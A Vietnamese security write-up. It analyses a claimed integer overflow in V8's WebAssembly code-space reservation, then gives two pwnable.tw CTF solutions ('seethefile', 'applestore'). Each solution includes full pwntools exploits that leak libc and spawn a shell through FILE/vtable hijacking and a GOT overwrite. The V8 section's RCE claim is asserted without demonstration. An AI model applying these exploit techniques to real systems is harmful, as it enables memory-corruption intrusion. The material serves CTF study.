Lỗ hổng

Một lỗ hổng cực kì đơn giản xuất hiện trong V8 JavaScript engine đó là lỗi Interger Overflow ở trong WebAssembly code space reservation tồn tại trong 4 năm kể từ cuối năm 2022, điều bất ngờ là lỗ hổng này không phải nhận luồng nhập từ hacker hay bị tấn công, bản thân nó đã là bị lỗi ngay khi phát hành.

Đoạn code chứa lỗi:

DeserializationUnit NativeModuleDeserializer::ReadCode(int fn_index,
                                                       Reader* reader) {
  uint8_t code_kind = reader->Read<uint8_t>();
  if (code_kind == kLazyFunction) {
    lazy_functions_.push_back(fn_index);
    return {};
  }
  if (code_kind == kEagerFunction) {
    eager_functions_.push_back(fn_index);
    return {};
  }

  int constant_pool_offset = reader->Read<int>();
  int safepoint_table_offset = reader->Read<int>();
  int handler_table_offset = reader->Read<int>();
  int code_comment_offset = reader->Read<int>();
  int unpadded_binary_size = reader->Read<int>();
  int stack_slot_count = reader->Read<int>();
  uint32_t tagged_parameter_slots = reader->Read<uint32_t>();
  int code_size = reader->Read<int>();
  int reloc_size = reader->Read<int>();
  int source_position_size = reader->Read<int>();
  int protected_instructions_size = reader->Read<int>();
  WasmCode::Kind kind = reader->Read<WasmCode::Kind>();
  ExecutionTier tier = reader->Read<ExecutionTier>();

  DCHECK(IsAligned(code_size, kCodeAlignment));
  DCHECK_GE(remaining_code_size_, code_size);
  if (current_code_space_.size() < static_cast<size_t>(code_size)) {
    // Allocate the next code space. Don't allocate more than 90% of
    // {kMaxCodeSpaceSize}, to leave some space for jump tables.
    size_t max_reservation = RoundUp<kCodeAlignment>(
        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);
    size_t code_space_size = std::min(max_reservation, remaining_code_size_);
    std::tie(current_code_space_, current_jump_tables_) =
        native_module_->AllocateForDeserializedCode(code_space_size);
    DCHECK_EQ(current_code_space_.size(), code_space_size);
    CHECK(current_jump_tables_.is_valid());
  }

Nhìn qua hàm NativeModuleDeserializer::ReadCode có chức năng chính là giải mã và nạp mã máy của các hàm WebAssembly từ dữ liệu bộ nhớ đệm vào không gian bộ nhớ thực thi của V8.

Các chức năng cụ thể của nó như:

1. Đọc thuộc tính và kích thước hàm
2. Quản lý không gian bộ nhớ Code Space
3. Cấp phát bộ nhớ mới
4. Tạo đối tượng DeserializationUnit

Nhưng hàm này lại bị một lỗi nghiêm trọng

Cụ thể lỗi interger overflow ở đoạn code:

...
size_t max_reservation = RoundUp<kCodeAlignment>(
        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);
...

Cụ thể ở đây: v8_flags.wasm_max_code_space_size_mb là một số nguyên không dấu 32-bit với giá trị hằng số là 1024 = 2^10 MB là một constexpr int có giá trị hằng số 1024 * 1024 = 2^20 Khi thực hiện phép tính này ta có:

2^10 * 2^20 * 9 = 9663676416

Tương đương với 921.6MiB Các biến số này đều là biến số 32-bit cho nên giá trị max của nó sẽ bằng:

2^32-1 = 4294967295 #tương ứng với việc tất cả đều là bit số 1 (tất cả 32bit)

khi ta cố gắng nhân một số nguyên vượt quá giá trị biểu diễn của một thanh ghi như vậy Thanh ghi chỉ lấy giá trị đúng 32bit từ bit nhỏ nhất trở đi

Tức giá trị 9663676416 sẽ không được lưu một cách đúng đắn trong thanh ghi (vì vượt quá giới hạn biểu diễn của số nguyên/của thanh ghi) lúc này nó chỉ lấy 32bit kể từ bit nhỏ nhất tức giá trị:

01000000000000000000000000000000

Tức là: Đây là giá trị thực sự được lưu vào biến max_reservation là:

1073741824/10 = 107374182

Tương đương 102.4MiB

Vậy ý đồ của lập trình viên là muốn tạo một con số cho biến max_reservation = 966367641 nhưng giá trị thực tế mà nó nhận được lại là: 107374182

Điều này có nguy cơ gây ra overflow khiến hacker có thể ghi đè lên những vùng không cho phép cho phép quyền arbitrary read, write, open và có thể lên tới RCE nếu máy chủ cấu hình lỏng lẻo

Tiếp tục tìm kiếm xem biến này tiếp tục được sử dụng như thế nào trong engine:

...
    size_t max_reservation = RoundUp<kCodeAlignment>(
        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);
    size_t code_space_size = std::min(max_reservation, remaining_code_size_);
    std::tie(current_code_space_, current_jump_tables_) =
        native_module_->AllocateForDeserializedCode(code_space_size);
    DCHECK_EQ(current_code_space_.size(), code_space_size);
    CHECK(current_jump_tables_.is_valid());
  }

  DeserializationUnit unit;
  unit.src_code_buffer = reader->ReadVector<byte>(code_size);
  auto reloc_info = reader->ReadVector<byte>(reloc_size);
  auto source_pos = reader->ReadVector<byte>(source_position_size);
  auto protected_instructions =
      reader->ReadVector<byte>(protected_instructions_size);

  base::Vector<uint8_t> instructions =
      current_code_space_.SubVector(0, code_size);
  current_code_space_ += code_size;
  remaining_code_size_ -= code_size;
...

Tìm trong mã nguồn của chương trình biến max_reservation chỉ tương tác với biến code_space_size

Ta tìm hiểu xem chương trình sử dụng biến code_space_size ở những đâu:

Biến code_space_size chỉ được sử dụng ở đây hai dòng đáng chí ý ở đây là

1. std::tie(current_code_space_, current_jump_tables_) = native_module_->AllocateForDeserializedCode(code_space_size);
2. size_t code_space_size = std::min(max_reservation, remaining_code_size_);

Ta có thể thấy ở đây lệnh:

size_t code_space_size = std::min(max_reservation, remaining_code_size_);

V8 muốn xin một vùng nhớ code_space_size đủ để chứa remaining_code_size_ nhưng bây giờ biến max_reservation đã nhỏ đi rất nhiều so với dự định của người viết chương trình.

Lúc đó lệnh:

base::Vector<uint8_t> instructions =
      current_code_space_.SubVector(0, code_size);
  current_code_space_ += code_size;
  remaining_code_size_ -= code_size;

Cắt một đoạn vùng nhớ từ 0 đến code_size trong current_code_space_ để chuẩn bị chép mã WASM nhưng giả định code_size lớn có thể lên tới 20000000 tức lớn hơn giá trị của current_code_space_ lúc đó nó sẽ gây tràn bộ nhớ và hàng loạt lỗ hổng nguy hiểm khác. Đáng lẽ lúc này các hàm DCHECK sẽ ngăn chặn chuyện này lại nhưng khi ra bản Release tất cả hàm DCHECK đã bị xóa đi khiến chương trình xuất hiện lỗi.

Ở đây ta tiếp tục xem hàm AllocateForDeserializedCode làm gì với biến code_space_size

Tìm trong chương trình ta tiếp tục mã nguồn của hàm AllocateForDeserializedCode:

std::pair<base::Vector<uint8_t>, NativeModule::JumpTablesRef>
NativeModule::AllocateForDeserializedCode(size_t total_code_size) {
  base::RecursiveMutexGuard guard{&allocation_mutex_};
  base::Vector<uint8_t> code_space =
      code_allocator_.AllocateForCode(this, total_code_size);
  auto jump_tables =
      FindJumpTablesForRegionLocked(base::AddressRegionOf(code_space));
  return {code_space, jump_tables};
}

Ở ngoài ta thấy hàm này sẽ trả hai giá trị code_space và jump_tables lần lượt cho hai biến là current_code_space_ và current_jump_tables_

Mục đích của hàm này là trả đúng giá trị được yêu cầu = giá trị code_space_size nhưng đã giải thích ở trước biến code_space_size đã bị bóp nhỏ đi rất nhiều so với dự tính ban đầu của lập trình viên.

Cho nên code_space cũng nhỏ theo khi nó trả giá trị đó cho current_code_space_ cũng bị nhỏ như thế

Tiếp tục đào sâu xem chương trình làm gì tiếp với biến current_code_space_ không

Ta thấy ở ngay dưới đoạn mã có đoạn:

  base::Vector<uint8_t> instructions =
      current_code_space_.SubVector(0, code_size);
  current_code_space_ += code_size;
  remaining_code_size_ -= code_size;

Đi vào hàm SubVector xem nó thực sự làm gì

// [*] src/base/vector.h
Vector<T> SubVector(size_t from, size_t to) const {
  DCHECK_LE(from, to);
  DCHECK_LE(to, length_);        oversized span
  return Vector<T>(begin() + from, to - from);
}

Vector<T> operator+=(size_t offset) {
  DCHECK_LE(offset, length_);      
  start_ += offset;
  length_ -= offset;               //tính toán thành giá trị âm
  return *this;
}

Chú ý biến current_code_space_ có kiểu dữ liệu do lập trình viên tự viết ra là Vector như đã trình bày bên trên cho nên phép += cũng cần được định nghĩa trong mã nguồn.

Ở đây hàm SubVector trả về đối tượng vector từ from đến to: Ở bản debug được quản lí rất chặt chẽ nhưng khi release tất cả hàm dcheck đã bị xóa khiến cho không kiểm tra to có lớn hơn length_ không khi đó giả sử: current_code_space có length_ = 100 nhưng code_size là offset có giá trị tận 200 tức còn lớn hơn cả length_ cho nên length_ lúc này bị tính toán thành giá trị âm cụ thể là -100 vì là biến 64bit nên bị tràn số âm 64bit nên biến có giá trị 2^64-100,length_ bây giờ có giá trị cực lớn còn start_ vượt quá kích thước của current_code_space. Làm cho máy tính tưởng rằng current_code_space còn rất nhiều.

Phương thức current_code_space_.size() luôn trả về một con số siêu lớn. Lúc này lệnh:

if (current_code_space_.size() < static_cast<size_t>(code_size))

Sẽ luôn trả lại giá trị false khiến cho hàm AllocateForDeserializedCode vĩnh viện không được gọi khiến cho các hàm Wasm phía sau trong tệp serialized sẽ liên tục bị cắt ra nối tiếp nhau vượt xa ranh giới ban đầu ghi đè vào các vùng dữ liệu sau đó

Tại sao lập trình viên lại mắc lỗi sở đẳng như vậy hãy xem đoạn code sau:

// [*] src/wasm/wasm-code-manager.cc
  size_t max_code_batch_size = v8_flags.wasm_max_code_space_size_mb * MB / 2;
  size_t total_code_space = 0;
  for (auto& result : results) {
    DCHECK(result.succeeded());
    size_t new_code_space =
        RoundUp<kCodeAlignment>(result.code_desc.instr_size);
    if (total_code_space + new_code_space > max_code_batch_size) {
      // Split off the first part of the {results} vector and process it
      // separately. This method then continues with the rest.
      size_t split_point = &result - results.begin();
      CHECK_WITH_MSG(
          split_point != 0,
          "A single code object needs more than half of the code space size");
      auto first_results = AddCompiledCode(results.SubVector(0, split_point));

Cụ thể chú ý lệnh này:

size_t max_code_batch_size = v8_flags.wasm_max_code_space_size_mb * MB / 2;

tương đương với: 1024*1024*1024/2 = 536870912 Tương đương với 512MiB

Chỉ cần 30bit để biểu diễn max_code_batch_size hoàn toàn nằm trong khả năng biểu diễn số nguyên không dấu (giới hạn là 2^32-1)

Ở đây lập trình viên cho giới hạn max không gian của một hàm là xấp xỉ 512MiB luôn bé hơn con số current_code_space mà lập trình viên dự tính lên đến 912MiB nhưng lỗi interger overflow đã làm hỏng giá trị này chỉ còn khoảng 102MiB tức một vùng nhớ 512MiB có thể được chép vào một vùng nhớ chỉ 102MiB gây ra lỗi overflow cực kì nguy hiểm.

seethefile // challenge

Phân tích code

void main(void)

{
  int iVar1;
  int in_GS_OFFSET;
  EVP_PKEY_CTX *in_stack_ffffffc0;
  char array [32];
  undefined4 canary;
  undefined1 *puStack_c;
  
  puStack_c = &stack0x00000004;
  canary = *(undefined4 *)(in_GS_OFFSET + 0x14);
  init(in_stack_ffffffc0);
  welcome();
  do {
    menu();
    __isoc99_scanf(&%s,array);
    iVar1 = atoi(array);
    switch(iVar1) {
    default:
      puts("Invaild choice");
      exit(0);
    case 1:
      openfile();
      break;
    case 2:
      readfile();
      break;
    case 3:
      writefile();
      break;
    case 4:
      closefile();
      break;
    case 5:
      printf("Leave your name :");
      __isoc99_scanf(&%s,name); //bufferoverflow không kiểm soát độ dài biến name
      printf("Thank you %s ,see you next time\n",name);
      if (fp != (FILE *)0x0) {
        fclose(fp);
      }
      exit(0);
    }
  } while( true );
}


void menu(void) //menu

{
  puts("---------------MENU---------------");
  puts("  1. Open");
  puts("  2. Read");
  puts("  3. Write to screen");
  puts("  4. Close");
  puts("  5. Exit");
  puts("----------------------------------");
  printf("Your choice :");
  return;
}


int openfile(void) //hàm này cho mở một file nhưng không được chứa từ flag, tên file được nhập vào file name với độ dài là 63

{
  int iVar1;
  char *pcVar2;
  
  if (fp == (FILE *)0x0) {
    memset(magicbuf,0,400); //set magicbuf == 0 hàm memset nếu muốn điền một giá trị vào toàn bộ hoặc 1 phần của mảng cấu trúc void *memset(void *ptr, int value, size_t num);
    printf("What do you want to see :");
    __isoc99_scanf(&%63s,filename);
    pcVar2 = strstr(filename,"flag"); //hàm này dùng để tìm chuỗi con trong chuỗi mẹ ví dụ tìm chuỗi flag trong filename
    if (pcVar2 != (char *)0x0) {
      puts("Danger !");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    fp = fopen(filename,"r");
    if (fp == (FILE *)0x0) {
      iVar1 = puts("Open failed");
    }
    else {
      iVar1 = puts("Open Successful");
    }
  }
  else {
    puts("You need to close the file first");
    iVar1 = 0;
  }
  return iVar1;
}


void readfile(void)

{
  size_t sVar1;
  
  memset(magicbuf,0,400); //set magicbuf == 0
  if (fp == (FILE *)0x0) {
    puts("You need to open a file first");
  }
  else {
    sVar1 = fread(magicbuf,399,1,fp); /* đọc biến magic buff kích thước 
    mỗi phần tử khi đọc là 399 đọc 1 phần tử thường thường sẽ trả về 
    số phần tử đọc được*/
    if (sVar1 != 0) {
      puts("Read Successful");
    }
  }
  return;
}

void writefile(void)

{
  char *pcVar1;
  
  pcVar1 = strstr(filename,"flag"); // tìm xem có chữ flag trong filename không
  if (pcVar1 == (char *)0x0) {
    pcVar1 = strstr(magicbuf,"FLAG"); //tìm xem có chữ FLAG trong filename không
    if (pcVar1 == (char *)0x0) {
      pcVar1 = strchr(magicbuf,0x7d); //tìm xem có dấu '}' trong file name không
      if (pcVar1 == (char *)0x0) {
        puts(magicbuf); //nếu không sẽ in ra dữ liệu trong magicbuf
        return;
      }
    }
  }
  puts("you can\'t see it");
  exit(1);
}

void closefile(void)

{
  if (fp == (FILE *)0x0) {
    puts("Nothing need to close");
  }
  else {
    fclose(fp);
  }
  fp = (FILE *)0x0;
  return;
(địa chỉ thấp)magicbuf -> name -> fp(địa chỉ cao)

Ý tưởng exploit

Sau khi phân tích code ta thấy chương trình bị buffer overflow ở vùng .bss và biến name có thể ghi tràn qua biến fp

Offset để biến name có thể ghi đè đến biến fp là:

vậy offset = 0x80 - 0x60 = 0x20 = 32 bytes

Ý tưởng là khi ta ấn option 5 chương trình thực hiện fclose(fp); nếu fp != (FILE *)0x0

Vậy thì khi fclose(fp) nó thực sẽ làm gì

Thứ tự sẽ là:

fclose(fp) -> _IO_cleanup() -> _IO_flush_all_lockp() -> _IO_OVERFLOW(fp)

Vì fp là con trỏ kiểu FILE cho nên thứ tự close() file sẽ như này nó sẽ gọi hàm cleanup quét qua buffer xem có buffer nào còn dữ liệu để flush không. Điều kiện để hàm _IO_OVERFLOW(fp) được gọi:

1. _IO_write_base < _IO_write_ptr (Đang ghi buffer)
2. _IO_mode > 0 và _IO_read_base < _IO_read_ptr (Đang đọc buffer)

Vì chương trình đang chạy libc phiên bản thấp và chưa có cơ chế vtable check ta có thể fake vtable và _IO_jump_t để chương trình chạy theo ý muốn của mình

Ý tưởng là: Đầu tiên ta muốn ghi địa chỉ system vào _IO_OVERFLOW trong bảng vtable giả của chúng ta nằm ở offset

PAYLOAD

from pwn import *

p = remote("chall.pwnable.tw",10200)

libc = ELF("./libc_32.so.6")

# ---------------- Leak libc ----------------

p.sendlineafter(b"Your choice :", b"1")
p.sendlineafter(b"What do you want to see :", b"/proc/self/maps")

p.sendlineafter(b"Your choice :", b"2")
p.sendlineafter(b"Your choice :", b"3")

p.sendlineafter(b"Your choice :", b"2")
p.sendlineafter(b"Your choice :", b"3")

p.recvline()

libc_base = int(b"0x" + p.recvuntil(b"-", drop=True),16)
libc.address = libc_base

log.success("libc : %#x" % libc.address)

# ---------------- Close ----------------

p.sendlineafter(b"Your choice :", b"4")

# ---------------- Fake FILE ----------------

fake = FileStructure()

fake.flags        = u32(b"/bin")
fake._IO_read_ptr = u32(b"/sh\x00")

fake.vtable = 0x804b310 + 12 - 0x44
fake._lock  = 0x804b518

payload  = b"A"*32
payload += p32(0x804b280 + 4)
payload += bytes(fake)
payload += p32(libc.sym["system"])


# ---------------- Trigger ----------------

p.sendlineafter(b"Your choice :", b"5")
p.sendlineafter(b"Leave your name :", payload)

p.interactive()

applestore

Overview

Ta thấy chương trình No PIE + Partial RELRO gợi ý về việc overwrite GOT address

Source Code

void main(void)

{
  signal(0xe,timeout);
  alarm(0x3c);// cho phép ta tưởng tác với chương trình trong 60s
  memset(myCart,0,0x10); //set mảng mycart thành 0 hết
  menu();
  handler();
  return;
}

void menu(void)

{
  puts("=== Menu ===");
  printf("%d: Apple Store\n",1);
  printf("%d: Add into your shopping cart\n",2);
  printf("%d: Remove from your shopping cart\n",3);
  printf("%d: List your shopping cart\n",4);
  printf("%d: Checkout\n",5);
  printf("%d: Exit\n",6);
  return;
}


void handler(void) //6 option ứng với 6 menu

{
  int iVar1;
  int in_GS_OFFSET;
  char input [22];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  do {
    printf("> ");
    fflush(stdout);
    my_read(input,0x15);
    iVar1 = atoi(input);
    switch(iVar1) {
    default:
      puts("It\'s not a choice! Idiot.");
      break;
    case 1: //option cho vui
      list();
      break;
    case 2: //thêm vào giỏ hàng
      add();
      break;
    case 3:
      delete(); //xóa khỏi giỏ hàng
      break;
    case 4:
      cart(); //xem xem trong giỏ hàng có gì
      break;
    case 5:
      checkout(); //thanh toán
      break;
    case 6:
      puts("Thank You for Your Purchase!");
      if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
  } while( true );
}


void my_read(void *param_1,size_t param_2)

{
  ssize_t sVar1;
  
  sVar1 = read(0,param_1,param_2);
  if (sVar1 == -1) {
    puts("Input Error.");
  }
  else {
    *(undefined1 *)((int)param_1 + sVar1) = 0;
  }
  return;
} //với mảng 22 phần tử và chỉ đọc với array[21] = với mảng nên không có buffer overflow nhưng nêu có thêm lệnh in cái input này ra có thể sẽ leak được sau mảng input nếu ta nhập đầy vì read() không tự thêm '/0'

void list(void) //số iphone có trong cửa hàng

{
  puts("=== Device List ===");
  printf("%d: iPhone 6 - $%d\n",1,199);
  printf("%d: iPhone 6 Plus - $%d\n",2,299);
  printf("%d: iPad Air 2 - $%d\n",3,499);
  printf("%d: iPad Mini 3 - $%d\n",4,399);
  printf("%d: iPod Touch - $%d\n",5,199);
  return;
}


void add(void) //chức năng thêm iphone vào giỏ hàng

{
  int iVar1;
  int in_GS_OFFSET;
  undefined4 *local_30;
  char input [22];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  printf("Device Number> ");
  fflush(stdout);
  my_read(input,0x15);
  iVar1 = atoi(input); //xem xem muốn mua cái iphone nào
  switch(iVar1) { 
  default:
    puts("Stop doing that. Idiot!");
    goto LAB_08048986;
  case 1:
    local_30 = (undefined4 *)create("iPhone 6",199);
    break;
  case 2:
    local_30 = (undefined4 *)create("iPhone 6 Plus",299);
    break;
  case 3:
    local_30 = (undefined4 *)create("iPad Air 2",499);
    break;
  case 4:
    local_30 = (undefined4 *)create("iPad Mini 3",399);
    break;
  case 5:
    local_30 = (undefined4 *)create("iPod Touch",199);
  }
  insert(local_30);
  printf("You\'ve put *%s* in your shopping cart.\n",*local_30);
  puts("Brilliant! That\'s an amazing idea.");
LAB_08048986:
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


char ** create(undefined4 param_1,char *param_2)

{
  char **__ptr;
  
  __ptr = malloc(0x10);
  __ptr[1] = param_2; //từ vùng user ở offset 0x4 lưu giá tiền 
  asprintf(__ptr,"%s",param_1); //offset không lưu tên Iphone
  __ptr[2] = (char *)0x0; //offset 0x8 và 0x12 lưu hai giá trị 0
  __ptr[3] = (char *)0x0;
  return __ptr;
}


void insert(int param_1) //hàm này chắc là insert vào giỏ hàng

{
  undefined1 *local_8;
  
  for (local_8 = myCart; *(int *)(local_8 + 8) != 0; local_8 = *(undefined1 **)(local_8 + 8)) {
  } //for chạy đến khi nào mà mycart khác 
  *(int *)(local_8 + 8) = param_1; //lưu fd là khối heap mới ngay sau khối hiện tại
  *(undefined1 **)(param_1 + 12) = local_8; //lưu bk vào khối heap ngay sau = &local8
  return;
}


void delete(void)

{
  int iVar1;
  int iVar2;
  int in_GS_OFFSET;
  int i;
  undefined4 *local_38;
  char input [22];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  i = 1;
  local_38 = (undefined4 *)myCart._8_4_; //chắc là duyệt qua mảng mycart khi đã add ở trên
  printf("Item Number> "); //
  fflush(stdout);
  my_read(input,0x15);
  iVar2 = atoi(input);
  do {
    if (local_38 == (undefined4 *)0x0) { //nếu vị trí đó có giá trị 0
LAB_08048a5e:
      if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
    if (i == iVar2) { //nếu i bằng vị trí mình nhập vào
      iVar2 = local_38[2];
      iVar1 = local_38[3];
      if (iVar1 != 0) {
        *(int *)(iVar1 + 8) = iVar2;
      }
      if (iVar2 != 0) {
        *(int *)(iVar2 + 0xc) = iVar1;
      } //cơ chế unlink của danh sách liên kết đôi nhưng nó chả thèm kiểm tra cho nên nếu thao túng được fd và bk thì có arbitrary write
      printf("Remove %d:%s from your shopping cart.\n",i,*local_38);
      goto LAB_08048a5e;
    }
    i = i + 1; //duyệt đến khi gặp đúng hết mảng
    local_38 = (undefined4 *)local_38[2];
  } while( true );
}


int cart(void)

{
  int in_GS_OFFSET;
  int i;
  int local_30;
  undefined4 *local_2c;
  char local_26 [22];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  i = 1;
  local_30 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(local_26,0x15);
  if (local_26[0] == 'y') {
    puts("==== Cart ====");
    for (local_2c = (undefined4 *)myCart._8_4_; local_2c != (undefined4 *)0x0;
        local_2c = (undefined4 *)local_2c[2]) {
      printf("%d: %s - $%d\n",i,*local_2c,local_2c[1]);
      local_30 = local_30 + local_2c[1];
      i = i + 1;
    }
  }
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return local_30;
}


void checkout(void)

{
  int in_GS_OFFSET;
  int local_2c;
  char *local_24;
  undefined4 local_20;
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  local_2c = cart();
  if (local_2c == 0x1c06) {
    puts("*: iPhone 8 - $1");
    asprintf(&local_24,"%s","iPhone 8");
    local_20 = 1;
    insert(&local_24); //lúc này địa chỉ là địa chỉ stack => lưu fd ở khối trước là địa chỉ local_24 và lưu bk ở offset &local24 + 0xc là địa chỉ khối trước
    local_2c = 0x1c07;
  }
  printf("Total: $%d\n",local_2c);
  puts("Want to checkout? Maybe next time!");
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
} //còn một lỗi sau khi checkout là khi return lại handler local 24 và 20 không tồn tại nhưng linked list vẫn giữ con trỏ tới đó (Use - After - Return) 

Analyse

Sau khi phân tích source code thì ta có một vài điểm đáng chú ý sau

Hàm checkout():

void checkout(void)

{
  int in_GS_OFFSET;
  int local_2c;
  char *local_24;
  undefined4 local_20;
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  local_2c = cart();
  if (local_2c == 0x1c06) {
    puts("*: iPhone 8 - $1");
    asprintf(&local_24,"%s","iPhone 8");
    local_20 = 1;
    insert(&local_24); //lúc này địa chỉ là địa chỉ stack => lưu fd ở khối trước là địa chỉ local_24 và lưu bk ở offset &local24 + 0xc là địa chỉ khối trước
    local_2c = 0x1c07;
  }
  printf("Total: $%d\n",local_2c);
  puts("Want to checkout? Maybe next time!");
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
} //còn một lỗi sau khi checkout là khi return lại handler local 24 và 20 không tồn tại nhưng linked list vẫn giữ con trỏ tới đó (Use - After - Return) 

Ta thấy hàm checkout nếu thỏa mãn đều kiện local_2c == 0x1c06 == 7174 thì nó sẽ nhảy vào và thực hiện lệnh đáng ngờ insert(&local_24); Trong khi đó trong hàm insert():

void insert(int param_1) //hàm này chắc là insert vào giỏ hàng

{
 undefined1 *local_8;
 
 for (local_8 = myCart; *(int *)(local_8 + 8) != 0; local_8 = *(undefined1 **)(local_8 + 8)) {
 } //for chạy đến khi nào mà mycart khác 
 *(int *)(local_8 + 8) = param_1; //lưu fd là khối heap mới ngay sau khối hiện tại
 *(undefined1 **)(param_1 + 12) = local_8; //lưu bk vào khối heap ngay sau = &local8
 return;
}

Nó thực hiện link khối đó vào tức nó muốn nhận được địa chỉ trên heap chứ không phải địa chỉ ở stack trong khi ở checkout nếu thỏa mãn điều kiện thì nó sẽ coi &local_24 + 0x10 là một khối heap và xử lí nó dẫn đến rủi ro về sau Cụ thể là UAR (Use-After-Return).

Ta thấy &local_24 là địa chỉ nằm trên stack nên sau khi hàm checkout return nó sẽ trả lại vùng stack cho chương trình sử dụng nhưng local_24 vẫn chưa được xóa trong linked-list do lệnh insert(&local_24)

Vậy khi ta gọi lại delete() hoặc cart() thì nó sẽ dùng chính lại vùng stack mà checkout() đã dùng khiến cho lệnh bị sai lệch.

Cơ chế unlink của hàm delete:

Ta thấy trong chương trình không hề có một hàm free nào vậy nó xóa khối đó kiểu gì:

     iVar2 = local_38[2];
     iVar1 = local_38[3];
     if (iVar1 != 0) {
       *(int *)(iVar1 + 8) = iVar2;
     }
     if (iVar2 != 0) {
       *(int *)(iVar2 + 0xc) = iVar1;
     } //cơ chế unlink của danh sách liên kết đôi nhưng nó chả thèm kiểm tra cho nên nếu thao túng được fd và bk thì có arbitrary write

Nó nằm ở đây: Với Ivar2 là fd còn Ivar1 là bk Nó thực hiện cơ chế unlink mà không hề kiểm tra điều kiện vậy lúc này nếu ta kiểu soát được con trỏ fd và bk thì ta có thể làm những gì Ta có thể gán giá trị iVar2 vào địa chỉ (iVar1 + 8) và gán giá trị iVar1 vào địa chỉ (iVar2 + 12) Có thể đọc thêm ở đây:

{%preview https://docs.google.com/document/d/1zUv_3upmmszCS1b-ssUpCM66Jyrrogukl5Lf-aCU788/edit?usp=sharing %}

Vậy từ hai lỗi này ta có thể làm gì bây giờ đầu tiên hãy tìm offset của local_24 khi checkout() được gọi.

...
8048b80:       8d 45 e0                lea    eax,[ebp-0x20] //offset local_24 = [ebp-0x20]
8048b83:       89 04 24                mov    DWORD PTR [esp],eax
8048b86:       e8 c5 f9 ff ff          call   8048550 <asprintf@plt>
8048b8b:       c7 45 e4 01 00 00 00    mov    DWORD PTR [ebp-0x1c],0x1
8048b92:       8d 45 e0                lea    eax,[ebp-0x20]
...

> offset local_24 = [ebp-0x20]

vậy khi hàm delete được gọi thì sao:

 ...
 80489da:       8d 45 de                lea    eax,[ebp-0x22] //offset input()
 80489dd:       89 04 24                mov    DWORD PTR [esp],eax
 80489e0:       e8 b4 fd ff ff          call   8048799 <my_read>
 80489e5:       8d 45 de                lea    eax,[ebp-0x22]
 80489e8:       89 04 24                mov    DWORD PTR [esp],eax
 80489eb:       e8 70 fb ff ff          call   8048560 <atoi@plt>
 ...

Ta thấy > offset input = [ebp-0x22] Vậy ta chỉ lần 2 byte để ghi đè lại đúng giá trị chunk local_24 đang nằm trong linked list mà input là mảng char [22] phần từ giúp chúng ta có thể kiểm soát được cả fd và bk của chunk giả local_24 để thực hiện arbitrary write

Ý tưởng

Vì chương trình có Partial RELRO afv No PIE nên có ý tưởng là atoi@GOT = system sau đó ta nhập sh sẽ thành system('/bin/sh') => CÓ SHELL! Nhưng trước đó ta cần phải leak libc để biết được địa chỉ system Chú ý trong hàm delete ta thấy: > printf("Remove %d:%s from your shopping cart.\n",i,*local_38); thực ra local_38 là note->name mà nhìn vào sơ đồ stack thì ta hoàn toàn có thể ghi vào trường này thông qua local_24 CRE: Dr.X tiếp theo ta có thể leak stack thông qua cách tương tự: leak stack để giúp ta tìm ra địa chỉ của ebp sau này để mà ghi đè nó Tiếp theo sau khi đã leak thành công libc và stack thì ta có thể thực hiện overwrite .GOT = system() vì offset input = ebp - 0x22 ta có thể ghi đè ebp = atoi - 0x22 lúc đó input sẽ ghi đè thẳng vào atoi trong GOT đoạn đấy truyền địa chỉ system vào và '/bin/sh' ngay sau làm tham số

Khi đó ta truyền vào fd = aoit - 0x22 và bk = ebp - 0x8 kết quả khi lệnh unlink chạy:

     iVar2 = local_38[2];
     iVar1 = local_38[3];
     if (iVar1 != 0) {
       *(int *)(iVar1 + 8) = iVar2;
     }
     if (iVar2 != 0) {
       *(int *)(iVar2 + 0xc) = iVar1;

lệnh đầu tiên gán saved ebp = atoi - 0x22 và gán atoi - 0x16 = ebp - 0x8 (không quan trọng)

PAYLOAD

from pwn import *

p = remote('chall.pwnable.tw', 10104)
bin = ELF('./applestore')
libc = ELF('./libc_32.so.6')

def add(item):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', item)

def delete(item):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'> ', item)

def checkout():
    p.sendlineafter(b'> ', b'5')
    p.sendlineafter(b'> ', b'y')

# pass checkout (local_2c == 7174)
for i in range(20):
    add(b'2')
for i in range(6):
    add(b'1')

# get iPhone 8 - 1$
checkout()

# leak libc address
payload = b"27" + p32(bin.got['atoi']) + p32(0) * 3 #P->name == atoi@GOT
delete(payload)
p.recvuntil(b'27:')
atoi_address = u32(p.recvuntil(b' ')[:4])
libc.address = atoi_address - libc.symbols['atoi']

# leak stack address
payload = b"27" + p32(libc.sym['environ']) + p32(0) * 3
delete(payload)
p.recvuntil(b'27:')
environ_address = u32(p.recvuntil(b' ')[:4])
ebp_address = environ_address - 0x104 #offset between environ and ebp find in gdb

# write ebp to atoi+0x22
payload = b'27' + p32(0) * 2 + p32(bin.got['atoi'] + 0x22) + p32(ebp_address - 0x8)
delete(payload)

# set the atoi got to system addr, and execute the system('/bin/sh')
payload = p32(libc.sym['system']) + b';/bin/sh\x00'
p.sendlineafter(b'> ', payload)

p.interactive()

